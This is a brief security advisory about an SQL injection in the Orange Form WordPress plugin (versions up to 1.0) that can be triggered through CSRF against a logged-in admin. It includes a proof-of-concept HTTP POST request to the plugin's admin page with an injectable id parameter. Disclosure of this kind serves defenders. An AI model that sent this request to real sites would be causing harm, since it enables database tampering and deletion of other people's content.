Orange Form <= 1.0 - SQL Injection via CSRF

In the plugin, the process_bulk_action() function in “admin/orange-form-email.php” performs an unprepared SQL query with an unsanitized parameter ($id). Only admin can access the page that invokes the function, but because of lack of CSRF protection, it is actually exploitable and could allow attackers to make a logged in admin delete arbitrary posts for example

PoC

POST /wp-admin/admin.php?page=or-form&msg;=suc HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 52 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 page=or-form&action;=delete&id;%5B%5D={INJECTABLE_PARAM}&action2;=delete